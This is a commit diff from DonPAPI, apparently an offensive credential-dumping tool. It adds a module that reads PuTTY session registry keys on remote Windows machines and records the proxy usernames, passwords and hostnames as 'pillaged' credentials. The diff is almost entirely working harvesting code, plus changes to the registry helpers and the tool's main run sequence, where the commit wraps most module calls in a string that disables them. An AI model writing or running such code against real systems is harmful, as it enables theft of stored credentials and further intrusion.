Projects STRLCPY DonPAPI Commits 85e05770
🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■
    database.py
    skipped 160 lines
    161 161   if 'sysadmin' in credz_content:
    162 162   credz_content.append('VNC')
    163 163   credz_content.append('MRemoteNG')
     164 + credz_content.append('Putty')
    164 165   #credz_content.append('VNC')
    165 166   
    166 167   data = """<table class="statistics"><TR>
    skipped 1588 lines
  • ■ ■ ■ ■ ■
    lib/fileops.py
    skipped 206 lines
    207 207   try:
    208 208   #self.myRegHandler.__options.action='QUERY'
    209 209   self.options.keyName = reg_path
    210  - self.options.s = True
     210 + self.options.s = True #__print_all_subkeys_and_entries
    211 211   self.options.v = False
    212 212   self.options.ve = False
    213 213   self.reg_init()
    214 214   self.logging.debug(f"[{self.options.target_ip}] Querying reg : {self.options.keyName}")
    215 215   #self.myRegHandler=RegHandler(self.options.username, self.options.password, self.options.domain, self.options)
    216  - self.myRegHandler.run(self.options.target_ip,self.options.target_ip)
     216 + return self.myRegHandler.run(self.options.target_ip,self.options.target_ip)
    217 217   
    218 218   except Exception as ex:
    219 219   self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception get_reg_list {bcolors.ENDC}")
    220 220   self.logging.debug(ex)
    221 221   
     222 + def get_reg_subkey(self,reg_path):
     223 + try:
     224 + #self.myRegHandler.__options.action='QUERY'
     225 + self.options.keyName = reg_path
     226 + self.options.s = False #__print_all_subkeys_and_entries
     227 + self.options.v = False
     228 + self.options.ve = False
     229 + self.reg_init()
     230 + self.logging.debug(f"[{self.options.target_ip}] Querying reg : {self.options.keyName}")
     231 + #self.myRegHandler=RegHandler(self.options.username, self.options.password, self.options.domain, self.options)
     232 + return self.myRegHandler.run(self.options.target_ip,self.options.target_ip)
     233 + 
     234 + except Exception as ex:
     235 + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception get_reg_list {bcolors.ENDC}")
     236 + self.logging.debug(ex)
    222 237   
    223 238  from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA
    224 239   
    skipped 38 lines
  • ■ ■ ■ ■ ■ ■
    lib/reg.py
    skipped 225 lines
    226 226   else:
    227 227   print(keyName)
    228 228   self.__print_key_values(dce, ans2['phkResult'])
     229 + values=[]
    229 230   i = 0
    230 231   while True:
    231 232   try:
    232 233   key = rrp.hBaseRegEnumKey(dce, ans2['phkResult'], i)
    233 234   print(keyName + '\\' + key['lpNameOut'][:-1])
     235 + values.append(f"{keyName}\\{key['lpNameOut'][:-1]}")
    234 236   i += 1
    235  - except Exception:
     237 + except Exception as e:
    236 238   break
    237 239   # ans5 = rrp.hBaseRegGetVersion(rpc, ans2['phkResult'])
    238 240   # ans3 = rrp.hBaseRegEnumKey(rpc, ans2['phkResult'], 0)
    239  - 
     241 + return values
    240 242   def __print_key_values(self, rpc, keyHandler):
    241 243   i = 0
    242 244   while True:
    skipped 203 lines
  • ■ ■ ■ ■ ■
    myseatbelt.py
    skipped 1908 lines
    1909 1909   myMRemoteNG = mRemoteNG(self.smb,self.myregops,self.myfileops,self.logging,self.options,self.db,self.users)
    1910 1910   myMRemoteNG.run()
    1911 1911   
     1912 + def GetPutty(self):
     1913 + from software.sysadmin.putty import Putty
     1914 + myNewModule = Putty(self.smb,self.myregops,self.myfileops,self.logging,self.options,self.db)
     1915 + myNewModule.run()
     1916 + 
    1912 1917   def GetNew_Module(self):
    1913 1918   myNewModule = new_module(self.smb,self.myregops,self.myfileops,self.logging,self.options,self.db,self.users)
    1914 1919   myNewModule.run()
    skipped 6 lines
    1921 1926   self.do_who()
    1922 1927   self.get_users()
    1923 1928   #
     1929 + self.GetPutty()
     1930 + '''
    1924 1931   
    1925 1932   if self.options.no_remoteops == False:
    1926 1933   try:
    skipped 10 lines
    1937 1944   if self.options.no_browser == False:
    1938 1945   self.GetChormeSecrets()
    1939 1946   self.GetMozillaSecrets_wrapper()
    1940  - if self.options.no_vnc == False and self.options.no_sysadmins == False:
    1941  - self.GetVNC()
    1942 1947   if self.options.no_sysadmins == False :
    1943 1948   self.GetMRemoteNG()
     1949 + self.GetPutty()
     1950 + if self.options.no_vnc == False:
     1951 + self.GetVNC()
    1944 1952   if self.options.no_recent == False:
    1945 1953   self.GetRecentFiles()
     1954 + '''
    1946 1955   """
    1947 1956   ***Dev your new module code and start it from here
    1948 1957  
    skipped 40 lines
  • ■ ■ ■ ■ ■ ■
    software/sysadmin/putty.py
     1 +# Code based on vncpasswd.py by trinitronx
     2 +# https://github.com/trinitronx/vncpasswd.py
     3 +import binascii
     4 +import codecs
     5 +import traceback
     6 + 
     7 +from . import d3des as d
     8 + 
     9 +from lib.toolbox import bcolors
     10 + 
     11 + 
     12 +# from lazagne.config.winstructure import *
     13 + 
     14 + 
     15 +class Putty():
     16 + def __init__(self,smb, myregops, myfileops, logger, options, db):
     17 + self.myregops = myregops
     18 + self.myfileops = myfileops
     19 + self.logging = logger
     20 + self.options = options
     21 + self.db = db
     22 + self.smb = smb
     23 + 
     24 + def putty_from_registry(self):
     25 + pfound = []
     26 + puttys = (
     27 + ('Putty', 'HKCU\\Software\\SimonTatham\\PuTTY\\Sessions'),
     28 + #('WinSCP', 'Software\\Martin Prikryl\\WinSCP 2\\Configuration', 'Security'),
     29 + )
     30 + 
     31 + for putty in puttys:
     32 + try:
     33 + reg_sessions = self.myregops.get_reg_subkey(putty[1])
     34 + for reg_session in reg_sessions:
     35 + self.logging.debug(f'Found Putty session : {reg_session}')
     36 + ProxyPassword=self.myregops.get_reg_value(reg_session, 'ProxyPassword')[1]
     37 + HostName=self.myregops.get_reg_value(reg_session, 'HostName')[1]
     38 + ProxyUsername=self.myregops.get_reg_value(reg_session, 'ProxyUsername')[1]
     39 + self.logging.debug(
     40 + f"[{self.options.target_ip}] Found Putty Proxy : {ProxyUsername}:{ProxyPassword}@{HostName} ")
     41 + ############PROCESSING DATA
     42 + self.db.add_credz(credz_type='Putty',
     43 + credz_username=ProxyUsername,
     44 + credz_password=ProxyPassword,
     45 + credz_target=HostName,
     46 + credz_path='',
     47 + pillaged_from_computer_ip=self.options.target_ip,
     48 + pillaged_from_username=self.options.user)
     49 + except Exception:
     50 + self.logging.debug(f'Problems with putty : {putty}')
     51 + continue
     52 + return pfound
     53 + 
     54 + 
     55 + def run(self):
     56 + return self.putty_from_registry()
     57 + 
Please wait...
Page is in error, reload to recover